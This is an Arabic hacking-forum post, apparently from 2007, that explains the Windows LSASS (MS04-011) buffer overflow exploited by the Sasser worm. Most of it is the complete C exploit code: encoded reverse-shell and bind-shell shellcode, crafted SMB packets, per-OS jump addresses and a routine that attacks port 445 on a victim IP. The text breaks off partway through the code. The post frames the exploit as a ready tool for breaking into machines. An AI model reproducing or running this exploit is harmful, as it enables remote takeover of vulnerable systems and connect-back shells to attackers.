|
الهاكر و الحماية تحميل جميع برامج الهاكر و الحماية |
| أدوات الموضوع | انواع عرض الموضوع |
06-25-2007, 04:17 AM | #1 (permalink) |
| بسم الله الرحمن الرحيم البداية ستقوم بتحليل الثغرة : Windows Lsasrv.dll RPC buffer overflow Remote هذة الثغرة من أخطر الثغرات التي أكتشفت في سنة 2004 وبالتحديد في شهر 4 تم صناعة عشرات الفايروسات لهذة الثغرة ومن أهمها (الدودة ساسر Sasser ) ومن لايعرف ساسر ( أسرع فايروس إنتشاراً بين الأجهزة ) بمجرد وصل الجهاز بالإنترنت - يدخل هذا الفايروس إلى جهازك وينفذ مايريد. وسنتعرف أيضاً على أشكال أخرى لإستغلال الثغرة يستخدمها المخترقين ومن أهمها الأداة Netcat : الأداة السحرية لصناعة بروتوكولات التحكم والإرسال بطريقة لاتصدق الأداة Ethereal : أفضل طريقة لمراقبة بروتوكولات الشبكة وكل بايت يكتب أو يقرأ الأداة cryptcat : أداة تشفير البيانات المرسلة للحفاظ على السرية ولحسن الحظ أن هذة الأدوات تعمل على كل أنظمة التشغيل ! - بالإضافة إلى أننا سنطلع على المجهود الكبير الذي بذل لإكتشاف هذة الثغرة وسنتعرف على قاعدة مهمة , وهي: أن إكتشاف الثغرة شيء صعب ومعقد , ولكن إذا إكتشفتها فإن عملية الدخول إلى أي جهاز وإختراقة - سيتطلب الموضوع كبسة زر فقط - وسترى الأمثلة في هذا الدرس - نبدأ بدراسة الثغرة : برنامج الأمن في أنظمة وندوز NT هو البرنامج lsass.exe هذا البرنامج يكلفة النظام بالعمل فوق طاقتة من بداية عملية الإقلاع ومروراً بالإتصالات والشبكات والمستخدمين و.و.. الخ المهم الثغرة التي سندرسها اليوم توجد في الملف lsasrv.dll هذا الملف من مجموعة ملفات البرنامج lsass.exe - الملف lsasrv.dll هذا الملف مسؤل عن الإتصالات وعمل بعض الخوادم المهمة والبروتوكولات عندما يشتغل هذا الملف فإنة يقوم بخلق عدة عمليات أو أنابيب pipe عن طريق بعض الدوال مثل CreateNamedPipe هذة الأنابيب مسؤلة عن نقل البيانات بين العمليات إما في جهاز واحد أو عدة أجهزة على شبكة إذاً أول معلومة هي : تبادل البيانات بين أجهزة الشبكة يحدث عن طريق مايعرف بالأنابيب مايهمنا في هذا الموضوع هو الأنبوب LSARPC وإسمة في الذاكرة \PIPE\LSARPC المهم في البرنامج lsass.exe وبالتحديد في المكتبة lsasrv.dll وبالتحديد أكثر في العملية lsarpc تم إيجاد خطأ وهذا الخطأ أدى إلى وجود ثغرة أدت إلى إختراق الأجهزة ودخول الفايروسات أولاً سنبدأ بدراسة كود أو دالة الخطأ , وبعد ذلك ندرس طريقة إكتشاف وإستغلال الثغرة بداية الخطأ يوجد في الدالة المصدرة من المكتبة lsasrv.dll إسم الدالة DsRolerDcAsDc تحتوي هذة الدالة على كود لكتابة ملف نصي في المسار WINDOWS\Debug\DCPROMO.LOG يتم ترتيب بيانات هذا الملف بواسطة دالة wvsprintfW (في الأنظمة الأجنبية إسم الدالة vsprintf ) في هذة الدالة وجد الخطأ وصنعت الثغرة ,,, كيف ؟؟ البارمتر الأول لهذة الدالة يمثل مخزن بيانات buf والبارمتر الثالث يمثل مصدر البيانات تمكن المخترقين من إيجاد طريقة لتحميل البارمتر3 للدالة بحجم بيانات أكبر من المخزن buf ممايؤدي إلى خطأ فيض - مشابهة للمثال الذي تحدثنا عنة في الدرس الأول - وبعد ذلك إدخال ****lcode -- إلى هنا يعتبر إكتشاف خطأ وبداية إكتشاف ثغرة ,, ولكن لاتوجد أي فائدة ولكي نستفيد من هذا الخطأ يجب أن نجمع معلومات تفصيلية عن الخطأ لكي نعرف كيف نستغلة ! نبدأ بالبحث عن مجال الخطأ ,, أولاً الدالة DsRolerDcAsDc هي إحدى دوال مجموعة DS هذا المختصر يعني خدمات الدليل Directory Service وهي إحدى مكونات الشبكة ! بالتأكيد مبرمجي المواقع والشبكات يعرفون هذا المصطلح : Active Directory بكل إختصار DS : عبارة عن قاعدة بيانات لتحديد وتسهيل الوصول إلى الموارد والمصادر المشتركة بين الأجهزة مثل الطابعة في شبكة محلية تعتبر مصدر - تحديد صفحة أو ملف في موقع على شبكة الإنترنت ولكي تجرب بعض إستخدامات هذا الدليل : شغل الدوس وقم بكتابة net view \\199.1.1.1 لكي تعرض الموارد والمصادر المشتركة في الجهاز(الرقم يمثل ip) ويمكن أن تستخدم أدوات متطورة لمراقبة كل بايت يكتب أو يقرأ , لاحظ الصورة. : الصورة تمثل برنامج أو أداة Ethereal وهي من أهم الأدوات لمراقبة بروتوكولات الشبكة لتثبيت الأداة يجب ـ تخزين برنامجين : http://www.ethereal.com/distribution...inPcap_2_3.exe http://www.ethereal.com/distribution...tup-0.10.8.exe نلاحظ في الصورة تبادل البيانات والوصول إلى ds عبر منفذ 445 والسؤال الآن , كيف يتم هذا التبادل وكيف يتم الوصو إلى مصادر الشبكة عن بعد ؟! شغل برنامج الدوس وإكتب الأمر : net use \\199.1.1.1\ipc$ "user" هذا الأمر أو هذا التخطيط يوضح طريقة التبادل وإرسال البيانات التخطيط يبدأ بعنوان ip و ipc$ يمثل المورد الإداري (خاص بمدراء الشبكة) وبعد ذلك بيانات المستخدم يتم إرسال هذة المعلومات عبر بروتوكول يسمى SMB إختصار Server Message Blocks يتم التعامل مع بروتوكول smb عن طريق الرسائل بإستخدام الدالة send هل جربت يوم إستخدام رسائل أي بروتوكول في البرمجة , مثلاً هل جربت إرسال رسالة إلى بريد بإستخدام بروتوكول smpt , هل لاحظت طريقة التفاهم مع الخادم عن طريق الرسائل مثل الرسالة HELO و MAIL FROM: و RCPT TO وغيرها من الأوامر هل جربت إستخدام بروتوكول ftp وهل رأيت طريقة المخاطبة لكي تحمل أو تخزن ملف. كل هذة البروتوكولات يتم التعامل معها عن طريق إرسال رسالة أوإرسال طلب وإنتظار الرد بروتوكول smb يستخدم هذة الرسائل , وتنقسم كل رسالة في هذا البروتوكول إلى 3 أقسام : معرف الأمر - بارمترات الأمر - معلومات المستخدم الرسائل في بروتوكول smb مختلفة عن الرسائل في البروتوكولات الأخرى لأنها قد تعتبر غير مفهومة أو غامضة بالنسبة للمستخدم لأن معرف الأمر عبارة عن رقم بالهكس وبارمترات الأمر غالبا ماتكون أرقام هكس وحتى معلومات المستخدم , لاحظ هذة الرسالة 00 00 00 DA FF 53 4D 42 73 00 00 00 00 18 07 C8 ...عےSMBs.... ب 00 00 00 00 00 00 00 00 00 00 00 00 00 00 FF FE ..............ے 00 08 20 00 0C FF 00 DA 00 04 11 0A 00 00 00 00 . ..ے.ع. ..... 00 00 00 57 00 00 00 00 00 D4 00 00 80 9F 00 4E ...W.....ش..€ں.N ولكن هذة الرسالة لها معنى إذا ما عرفنا أوامر البروتوكول smb والبارمترات المهم , المراجع لأوامر البروتوكول smb كثيرة وبالأخص مكتبة مايكروسفت msdn - أهم المعلومات التي ذكرت: توجد الثغرة في بداخل إحدى دوال DS وبالتحديد في دالة النصوص wvsprintfW يتم فتح منفذ في الجهاز لخدمات الدليل وإدارة الموارد وهو المنفذ 445 يتم تبادل المعلومات الخاصة بالموارد ومشاركة الملفات عبر بروتوكول smb مانريدة : الدخول إلى الجهاز بإستخدام بروتوكول smb عن طريق المنفذ 445 وننفذ الدالة wvsprintfW هذا ماسنقوم بة في القسم 2 الآن ندخل في الموضوع والتطبيق العملي : سنبدأ بعرض الكود الذي كتب لإستغلال هذة الثغرة وسنقوم ببعض التجارب التطبيقية لكي نفهم الثغرة بشكل أكبر الكود + ****lcode بلغة السي : #include <windows.h> #pragma comment(lib, "ws2_32") // شيل كود عبارة عن برنامج يعيد إصدار ونوع النظام // reverse ****lcode unsigned char reverse****l[] = "\xEB\x10\x5B\x4B\x33\xC9\x66\xB9\x25\x01\x80\ x34\ x0B\x99\xE2\xFA" "\xEB\x05\xE8\xEB\xFF\xFF\xFF" "\x70\x62\x99\x99\x99\xC6\xFD\x38\xA9\x99\x99\ x99\ x12\xD9\x95\x12" "\xE9\x85\x34\x12\xF1\x91\x12\x6E\xF3\x9D\xC0\ x71\ x02\x99\x99\x99" "\x7B\x60\xF1\xAA\xAB\x99\x99\xF1\xEE\xEA\xAB\ xC6\ xCD\x66\x8F\x12" "\x71\xF3\x9D\xC0\x71\x1B\x99\x99\x99\x7B\x60\ x18\ x75\x09\x98\x99" "\x99\xCD\xF1\x98\x98\x99\x99\x66\xCF\x89\xC9\ xC9\ xC9\xC9\xD9\xC9" "\xD9\xC9\x66\xCF\x8D\x12\x41\xF1\xE6\x99\x99\ x98\ xF1\x9B\x99\x9D" "\x4B\x12\x55\xF3\x89\xC8\xCA\x66\xCF\x81\x1C\ x59\ xEC\xD3\xF1\xFA" "\xF4\xFD\x99\x10\xFF\xA9\x1A\x75\xCD\x14\xA5\ xBD\ xF3\x8C\xC0\x32" "\x7B\x64\x5F\xDD\xBD\x89\xDD\x67\xDD\xBD\xA4\ x10\ xC5\xBD\xD1\x10" "\xC5\xBD\xD5\x10\xC5\xBD\xC9\x14\xDD\xBD\x89\ xCD\ xC9\xC8\xC8\xC8" "\xF3\x98\xC8\xC8\x66\xEF\xA9\xC8\x66\xCF\x9D\ x12\ x55\xF3\x66\x66" "\xA8\x66\xCF\x91\xCA\x66\xCF\x85\x66\xCF\x95\ xC8\ xCF\x12\xDC\xA5" "\x12\xCD\xB1\xE1\x9A\x4C\xCB\x12\xEB\xB9\x9A\ x6C\ xAA\x50\xD0\xD8" "\x34\x9A\x5C\xAA\x42\x96\x27\x89\xA3\x4F\xED\ x91\ x58\x52\x94\x9A" "\x43\xD9\x72\x68\xA2\x86\xEC\x7E\xC3\x12\xC3\ xBD\ x9A\x44\xFF\x12" "\x95\xD2\x12\xC3\x85\x9A\x44\x12\x9D\x12\x9A\ x5C\ x32\xC7\xC0\x5A" "\x71\x99\x66\x66\x66\x17\xD7\x97\x75\xEB\x67\ x2A\ x8F\x34\x40\x9C" "\x57\x76\x57\x79\xF9\x52\x74\x65\xA2\x40\x90\ x6C\ x34\x75\x60\x33" "\xF9\x7E\xE0\x5F\xE0"; // شيل كود عبارة عن برنامج فتح منفذ وإنصات وهو كود الإختراق // bind ****lcode unsigned char bind****l[] = "\xEB\x10\x5A\x4A\x33\xC9\x66\xB9\x7D\x01\x80\ x34\ x0A\x99\xE2\xFA" "\xEB\x05\xE8\xEB\xFF\xFF\xFF" "\x70\x95\x98\x99\x99\xC3\xFD\x38\xA9\x99\x99\ x99\ x12\xD9\x95\x12" "\xE9\x85\x34\x12\xD9\x91\x12\x41\x12\xEA\xA5\ x12\ xED\x87\xE1\x9A" "\x6A\x12\xE7\xB9\x9A\x62\x12\xD7\x8D\xAA\x74\ xCF\ xCE\xC8\x12\xA6" "\x9A\x62\x12\x6B\xF3\x97\xC0\x6A\x3F\xED\x91\ xC0\ xC6\x1A\x5E\x9D" "\xDC\x7B\x70\xC0\xC6\xC7\x12\x54\x12\xDF\xBD\ x9A\ x5A\x48\x78\x9A" "\x58\xAA\x50\xFF\x12\x91\x12\xDF\x85\x9A\x5A\ x58\ x78\x9B\x9A\x58" "\x12\x99\x9A\x5A\x12\x63\x12\x6E\x1A\x5F\x97\ x12\ x49\xF3\x9A\xC0" "\x71\x1E\x99\x99\x99\x1A\x5F\x94\xCB\xCF\x66\ xCE\ x65\xC3\x12\x41" "\xF3\x9C\xC0\x71\xED\x99\x99\x99\xC9\xC9\xC9\ xC9\ xF3\x98\xF3\x9B" "\x66\xCE\x75\x12\x41\x5E\x9E\x9B\x99\x9D\x4B\ xAA\ x59\x10\xDE\x9D" "\xF3\x89\xCE\xCA\x66\xCE\x69\xF3\x98\xCA\x66\ xCE\ x6D\xC9\xC9\xCA" "\x66\xCE\x61\x12\x49\x1A\x75\xDD\x12\x6D\xAA\ x59\ xF3\x89\xC0\x10" "\x9D\x17\x7B\x62\x10\xCF\xA1\x10\xCF\xA5\x10\ xCF\ xD9\xFF\x5E\xDF" "\xB5\x98\x98\x14\xDE\x89\xC9\xCF\xAA\x50\xC8\ xC8\ xC8\xF3\x98\xC8" "\xC8\x5E\xDE\xA5\xFA\xF4\xFD\x99\x14\xDE\xA5\ xC9\ xC8\x66\xCE\x79" "\xCB\x66\xCE\x65\xCA\x66\xCE\x65\xC9\x66\xCE\ x7D\ xAA\x59\x35\x1C" "\x59\xEC\x60\xC8\xCB\xCF\xCA\x66\x4B\xC3\xC0\ x32\ x7B\x77\xAA\x59" "\x5A\x71\x76\x67\x66\x66\xDE\xFC\xED\xC9\xEB\ xF6\ xFA\xD8\xFD\xFD" "\xEB\xFC\xEA\xEA\x99\xDA\xEB\xFC\xF8\xED\xFC\ xC9\ xEB\xF6\xFA\xFC" "\xEA\xEA\xD8\x99\xDC\xE1\xF0\xED\xCD\xF1\xEB\ xFC\ xF8\xFD\x99\xD5" "\xF6\xF8\xFD\xD5\xF0\xFB\xEB\xF8\xEB\xE0\xD8\ x99\ xEE\xEA\xAB\xC6" "\xAA\xAB\x99\xCE\xCA\xD8\xCA\xF6\xFA\xF2\xFC\ xED\ xD8\x99\xFB\xF0" "\xF7\xFD\x99\xF5\xF0\xEA\xED\xFC\xF7\x99\xF8\ xFA\ xFA\xFC\xE9\xED" "\x99\xFA\xF5\xF6\xEA\xFC\xEA\xF6\xFA\xF2\xFC\ xED\ x99"; // بقية هذة البيانات لاتعتبر أكواد تنفيذية // وإنما هي رسائل لبروتوكول SMB char req1[] = "\x00\x00\x00\x85\xFF\x53\x4D\x42\x72\x00\x00\ x00\ x00\x18\x53\xC8" "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\ x00\ x00\x00\xFF\xFE" "\x00\x00\x00\x00\x00\x62\x00\x02\x50\x43\x20\ x4E\ x45\x54\x57\x4F" "\x52\x4B\x20\x50\x52\x4F\x47\x52\x41\x4D\x20\ x31\ x2E\x30\x00\x02" "\x4C\x41\x4E\x4D\x41\x4E\x31\x2E\x30\x00\x02\ x57\ x69\x6E\x64\x6F" "\x77\x73\x20\x66\x6F\x72\x20\x57\x6F\x72\x6B\ x67\ x72\x6F\x75\x70" "\x73\x20\x33\x2E\x31\x61\x00\x02\x4C\x4D\x31\ x2E\ x32\x58\x30\x30" "\x32\x00\x02\x4C\x41\x4E\x4D\x41\x4E\x32\x2E\ x31\ x00\x02\x4E\x54" "\x20\x4C\x4D\x20\x30\x2E\x31\x32\x00"; char req2[] = "\x00\x00\x00\xA4\xFF\x53\x4D\x42\x73\x00\x00\ x00\ x00\x18\x07\xC8" "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\ x00\ x00\x00\xFF\xFE" "\x00\x00\x10\x00\x0C\xFF\x00\xA4\x00\x04\x11\ x0A\ x00\x00\x00\x00" "\x00\x00\x00\x20\x00\x00\x00\x00\x00\xD4\x00\ x00\ x80\x69\x00\x4E" "\x54\x4C\x4D\x53\x53\x50\x00\x01\x00\x00\x00\ x97\ x82\x08\xE0\x00" "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\ x00\ x00\x00\x00\x00" "\x57\x00\x69\x00\x6E\x00\x64\x00\x6F\x00\x77\ x00\ x73\x00\x20\x00" "\x32\x00\x30\x00\x30\x00\x30\x00\x20\x00\x32\ x00\ x31\x00\x39\x00" "\x35\x00\x00\x00\x57\x00\x69\x00\x6E\x00\x64\ x00\ x6F\x00\x77\x00" "\x73\x00\x20\x00\x32\x00\x30\x00\x30\x00\x30\ x00\ x20\x00\x35\x00" "\x2E\x00\x30\x00\x00\x00\x00\x00"; char req3[] = "\x00\x00\x00\xDA\xFF\x53\x4D\x42\x73\x00\x00\ x00\ x00\x18\x07\xC8" "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\ x00\ x00\x00\xFF\xFE" "\x00\x08\x20\x00\x0C\xFF\x00\xDA\x00\x04\x11\ x0A\ x00\x00\x00\x00" "\x00\x00\x00\x57\x00\x00\x00\x00\x00\xD4\x00\ x00\ x80\x9F\x00\x4E" "\x54\x4C\x4D\x53\x53\x50\x00\x03\x00\x00\x00\ x01\ x00\x01\x00\x46" "\x00\x00\x00\x00\x00\x00\x00\x47\x00\x00\x00\ x00\ x00\x00\x00\x40" "\x00\x00\x00\x00\x00\x00\x00\x40\x00\x00\x00\ x06\ x00\x06\x00\x40" "\x00\x00\x00\x10\x00\x10\x00\x47\x00\x00\x00\ x15\ x8A\x88\xE0\x48" "\x00\x4F\x00\x44\x00\x00\x81\x19\x6A\x7A\xF2\ xE4\ x49\x1C\x28\xAF" "\x30\x25\x74\x10\x67\x53\x57\x00\x69\x00\x6E\ x00\ x64\x00\x6F\x00" "\x77\x00\x73\x00\x20\x00\x32\x00\x30\x00\x30\ x00\ x30\x00\x20\x00" "\x32\x00\x31\x00\x39\x00\x35\x00\x00\x00\x57\ x00\ x69\x00\x6E\x00" "\x64\x00\x6F\x00\x77\x00\x73\x00\x20\x00\x32\ x00\ x30\x00\x30\x00" "\x30\x00\x20\x00\x35\x00\x2E\x00\x30\x00\x00\ x00\ x00\x00"; char req4[] = "\x00\x00\x00\x5C\xFF\x53\x4D\x42\x75\x00\x00\ x00\ x00\x18\x07\xC8" "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\ x00\ x00\x00\xFF\xFE" "\x00\x08\x30\x00\x04\xFF\x00\x5C\x00\x08\x00\ x01\ x00\x31\x00\x00" "\x5C\x00\x5C\x00\x31\x00\x39\x00\x32\x00\x2E\ x00\ x31\x00\x36\x00" "\x38\x00\x2E\x00\x31\x00\x2E\x00\x32\x00\x31\ x00\ x30\x00\x5C\x00" "\x49\x00\x50\x00\x43\x00\x24" "\x00\x00\x00\x3F\x3F\x3F\x3F\x3F\x00"; char req5[] = "\x00\x00\x00\x64\xFF\x53\x4D\x42\xA2\x00\x00\ x00\ x00\x18\x07\xC8" "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\ x00\ x00\x08\xDC\x04" "\x00\x08\x40\x00\x18\xFF\x00\xDE\xDE\x00\x0E\ x00\ x16\x00\x00\x00" "\x00\x00\x00\x00\x9F\x01\x02\x00\x00\x00\x00\ x00\ x00\x00\x00\x00" "\x00\x00\x00\x00\x03\x00\x00\x00\x01\x00\x00\ x00\ x40\x00\x00\x00" "\x02\x00\x00\x00\x03\x11\x00\x00\x5C\x00\x6C\ x00\ x73\x00\x61\x00" "\x72\x00\x70\x00\x63\x00\x00\x00"; char req6[] = "\x00\x00\x00\x9C\xFF\x53\x4D\x42\x25\x00\x00\ x00\ x00\x18\x07\xC8" "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\ x00\ x00\x08\xDC\x04" "\x00\x08\x50\x00\x10\x00\x00\x48\x00\x00\x00\ x00\ x04\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x54\x00\ x48\ x00\x54\x00\x02" "\x00\x26\x00\x00\x40\x59\x00\x10\x5C\x00\x50\ x00\ x49\x00\x50\x00" "\x45\x00\x5C\x00\x00\x00\x00\x00\x05\x00\x0B\ x03\ x10\x00\x00\x00" "\x48\x00\x00\x00\x01\x00\x00\x00\xB8\x10\xB8\ x10\ x00\x00\x00\x00" "\x01\x00\x00\x00\x00\x00\x01\x00\x6A\x28\x19\ x39\ x0C\xB1\xD0\x11" "\x9B\xA8\x00\xC0\x4F\xD9\x2E\xF5\x00\x00\x00\ x00\ x04\x5D\x88\x8A" "\xEB\x1C\xC9\x11\x9F\xE8\x08\x00\x2B\x10\x48\ x60\ x02\x00\x00\x00"; char req7[] = "\x00\x00\x0C\xF4\xFF\x53\x4D\x42\x25\x00\x00\ x00\ x00\x18\x07\xC8" "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\ x00\ x00\x08\xDC\x04" "\x00\x08\x60\x00\x10\x00\x00\xA0\x0C\x00\x00\ x00\ x04\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x54\x00\ xA0\ x0C\x54\x00\x02" "\x00\x26\x00\x00\x40\xB1\x0C\x10\x5C\x00\x50\ x00\ x49\x00\x50\x00" "\x45\x00\x5C\x00\x00\x00\x00\x00\x05\x00\x00\ x03\ x10\x00\x00\x00" "\xA0\x0C\x00\x00\x01\x00\x00\x00\x88\x0C\x00\ x00\ x00\x00\x09\x00" "\xEC\x03\x00\x00\x00\x00\x00\x00\xEC\x03\x00\ x00" ; // room for ****lcode here ... char shit1[] = "\x95\x14\x40\x00\x03\x00\x00\x00\x7C\x70\x40\ x00\ x01\x00\x00\x00" "\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\ x00\ x01\x00\x00\x00" "\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\ x00\ x01\x00\x00\x00" "\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\ x00\ x01\x00\x00\x00" "\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\ x00\ x7C\x70\x40\x00" "\x01\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\ x00\ x00\x00\x00\x00" "\x7C\x70\x40\x00\x01\x00\x00\x00\x00\x00\x00\ x00\ x01\x00\x00\x00" "\x00\x00\x00\x00\x7C\x70\x40\x00\x01\x00\x00\ x00\ x00\x00\x00\x00" "\x01\x00\x00\x00\x00\x00\x00\x00\x78\x85\x13\ x00\ xAB\x5B\xA6\xE9"; char req8[] = "\x00\x00\x10\xF8\xFF\x53\x4D\x42\x2F\x00\x00\ x00\ x00\x18\x07\xC8" "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\ x00\ x00\x08\xFF\xFE" "\x00\x08\x60\x00\x0E\xFF\x00\xDE\xDE\x00\x40\ x00\ x00\x00\x00\xFF" "\xFF\xFF\xFF\x08\x00\xB8\x10\x00\x00\xB8\x10\ x40\ x00\x00\x00\x00" "\x00\xB9\x10\xEE\x05\x00\x00\x01\x10\x00\x00\ x00\ xB8\x10\x00\x00" "\x01\x00\x00\x00\x0C\x20\x00\x00\x00\x00\x09\ x00\ xAD\x0D\x00\x00" "\x00\x00\x00\x00\xAD\x0D\x00\x00"; // room for ****lcode here ... char req9[] = "\x00\x00\x0F\xD8\xFF\x53\x4D\x42\x25\x00\x00\ x00\ x00\x18\x07\xC8" "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\ x00\ x00\x08\x18\x01" "\x00\x08\x70\x00\x10\x00\x00\x84\x0F\x00\x00\ x00\ x04\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x54\x00\ x84\ x0F\x54\x00\x02" "\x00\x26\x00\x00\x40\x95\x0F\x00\x5C\x00\x50\ x00\ x49\x00\x50\x00" "\x45\x00\x5C\x00\x00\x00\x00\x00\x05\x00\x00\ x02\ x10\x00\x00\x00" "\x84\x0F\x00\x00\x01\x00\x00\x00\x6C\x0F\x00\ x00\ x00\x00\x09\x00"; char shit3[] = "\x00\x00\x00\x00\x9A\xA8\x40\x00\x01\x00\x00\ x00\ x00\x00\x00\x00" "\x01\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\ x00\ x00\x00\x00\x00" "\x01\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\ x00\ x00\x00\x00\x00" "\x01\x00\x00\x00" "\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\ x00\ x01\x00\x00\x00" "\x00\x00\x00\x00\x9A\xA8\x40\x00\x01\x00\x00\ x00\ x00\x00\x00\x00" "\x01\x00\x00\x00\x00\x00\x00\x00\x9A\xA8\x40\ x00\ x01\x00\x00\x00" "\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\ x00\ x9A\xA8\x40\x00" "\x01\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\ x00\ x00\x00\x00\x00"; #define LEN 3500 #define BUFSIZE 2000 #define NOP 0x90 struct targets { intnum; charname[50]; longjmpaddr; } ttarget[]= { { 0, "WinXP Professional [universal] lsass.exe ",0x01004600 }, // jmp esp addr { 1, "Win2k Professional [universal] netrap.dll",0x7515123c }, // jmp ebx addr { 2, "Win2k Advanced Server [SP4] netrap.dll",0x751c123c }, // jmp ebx addr //{ 3, "reboot",0xffffffff }, // crash { NULL } }; void usage(char *prog) { int i; printf("Usage:\n\n"); printf("%s <target> <victim IP> <bindport> [connectback IP] [options]\n\n", prog); printf("Targets:\n"); for (i=0; i<3; i++) printf("%d [0x%.8x]: %s\n", ttarget[i].num, ttarget[i].jmpaddr, ttarget[i].name); printf("\nOptions:\n"); printf("-tetect remote OS:\n"); printf("Windows 5.1 - WinXP\n"); printf("Windows 5.0 - Win2k\n\n"); exit(0); } int main(int argc, char *argv[]) { int i; int opt = 0; char *target; char hostipc[40]; char hostipc2[40*2]; unsigned short port; unsigned long ip; unsigned char *sc; char buf[LEN+1]; char sendbuf[(LEN+1)*2]; char req4u[sizeof(req4)+20]; char screq[BUFSIZE+sizeof(req7)+1500+440]; char screq2k[4348+4060]; char screq2k2[4348+4060]; char recvbuf[1600]; char strasm[]="\x66\x81\xEC\x1C\x07\xFF\xE4"; char strBuffer[BUFSIZE]; unsigned int targetnum = 0; int len, sockfd; short dport = 445; struct hostent *he; struct sockaddr_in their_addr; char smblen; char unclen; WSADATA wsa; printf("\nMS04011 Lsasrv.dll RPC buffer overflow remote exploit v0.1\n"); printf("--- Coded by .::[ houseofdabus ]::. ---\n\n"); if (argc < 4) { usage(argv[0]); } target = argv[2]; sprintf((char *)hostipc,"\\\\%s\\ipc$", target); for (i=0; i<40; i++) { hostipc2[i*2] = hostipc[i]; hostipc2[i*2+1] = 0; } memcpy(req4u, req4, sizeof(req4)-1); memcpy(req4u+48, &hostipc2[0], strlen(hostipc)*2); memcpy(req4u+47+strlen(hostipc)*2, req4+87, 9); smblen = 52+(char)strlen(hostipc)*2; memcpy(req4u+3, &smblen, 1); unclen = 9 + (char)strlen(hostipc)*2; memcpy(req4u+45, &unclen, 1); if (argc > 4) if (!memcmp(argv[4], "-t", 2)) opt = 1; if ( (argc > 4) && !opt ) { port = htons(atoi(argv[3]))^(USHORT)0x9999; ip = inet_addr(argv[4])^(ULONG)0x99999999; memcpy(&reverse****l[118], &port, 2); memcpy(&reverse****l[111], &ip, 4); sc = reverse****l; } else { port = htons(atoi(argv[3]))^(USHORT)0x9999; memcpy(&bind****l[176], &port, 2); sc = bind****l; } if ( (atoi(argv[1]) == 1) || (atoi(argv[1]) == 2)) { memset(buf, NOP, LEN); //memcpy(&buf[2020], "\x3c\x12\x15\x75", 4); memcpy(&buf[2020], &ttarget[atoi(argv[1])].jmpaddr, 4); memcpy(&buf[2036], sc, strlen(sc)); memcpy(&buf[2840], "\xeb\x06\xeb\x06", 4); memcpy(&buf[2844], &ttarget[atoi(argv[1])].jmpaddr, 4); // jmp ebx addr //memcpy(&buf[2844], "\x3c\x12\x15\x75", 4); // jmp ebx addr memcpy(&buf[2856], sc, strlen(sc)); for (i=0; i<LEN; i++) { sendbuf[i*2] = buf[i]; sendbuf[i*2+1] = 0; } sendbuf[LEN*2]=0; sendbuf[LEN*2+1]=0; memset(screq2k, 0x31, (BUFSIZE+sizeof(req7)+1500)*2); memset(screq2k2, 0x31, (BUFSIZE+sizeof(req7)+1500)*2); } else { memset(strBuffer, NOP, BUFSIZE); memcpy(strBuffer+160, sc, strlen(sc)); memcpy(strBuffer+1980, strasm, strlen(strasm)); *(long *)&strBuffer[1964]=ttarget[atoi(argv[1])].jmpaddr; } memset(screq, 0x31, BUFSIZE+sizeof(req7)+1500); WSAStartup(MAKEWORD(2,0),&wsa); if ((he=gethostbyname(argv[2])) == NULL) { // get the host info perror("[-] gethostbyname "); exit(1); } if ((sockfd = socket(AF_INET, SOCK_STREAM, 0)) == -1) { perror("socket"); exit(1); } their_addr.sin_family = AF_INET; their_addr.sin_port = htons(dport); their_addr.sin_addr = *((struct in_addr *)he->h_addr); memset(&(their_addr.sin_zero), '\', 8); printf("[*] Target: IP: %s: OS: %s\n", argv[2], ttarget[atoi(argv[1])].name); printf("[*] Connecting to %s:445 ... ", argv[2]); if (connect(sockfd, (struct sockaddr *)&their_addr, sizeof(struct sockaddr)) == -1) { printf("\n[-] Sorry, cannot connect to %s:445. Try again...\n", argv[2]); exit(1); } printf("OK\n"); if (send(sockfd, req1, sizeof(req1)-1, 0) == -1) { printf("[-] Send failed\n"); exit(1); } len = recv(sockfd, recvbuf, 1600, 0); if (send(sockfd, req2, sizeof(req2)-1, 0) == -1) { printf("[-] Send failed\n"); exit(1); } len = recv(sockfd, recvbuf, 1600, 0); if (send(sockfd, req3, sizeof(req3)-1, 0) == -1) { printf("[-] Send failed\n"); exit(1); } len = recv(sockfd, recvbuf, 1600, 0); if ((argc > 5) || opt) { printf("[*] Detecting remote OS: "); for (i=0; i<12; i++) { printf("%c", recvbuf[48+i*2]); } printf("\n"); exit(0); } printf("[*] Attacking ... "); if (send(sockfd, req4u, smblen+4, 0) == -1) { printf("[-] Send failed\n"); exit(1); } len = recv(sockfd, recvbuf, 1600, 0); if (send(sockfd, req5, sizeof(req5)-1, 0) == -1) { printf("[-] Send failed\n"); exit(1); } len = recv(sockfd, recvbuf, 1600, 0); if (send(sockfd, req6, sizeof(req6)-1, 0) == -1) { printf("[-] Send failed\n"); exit(1); } len = recv(sockfd, recvbuf, 1600, 0); if ( (atoi(argv[1]) == 1) || (atoi(argv[1]) == 2)) { memcpy(screq2k, req8, sizeof(req8)-1); memcpy(screq2k+sizeof(req8)-1, sendbuf, (LEN+1)*2); memcpy(screq2k2, req9, sizeof(req9)-1); memcpy(screq2k2+sizeof(req9)-1, sendbuf+4348-sizeof(req8)+1, (LEN+1)*2-4348); memcpy(screq2k2+sizeof(req9)-1+(LEN+1)*2-4348-sizeof(req8)+1+206, shit3, sizeof(shit3)-1); 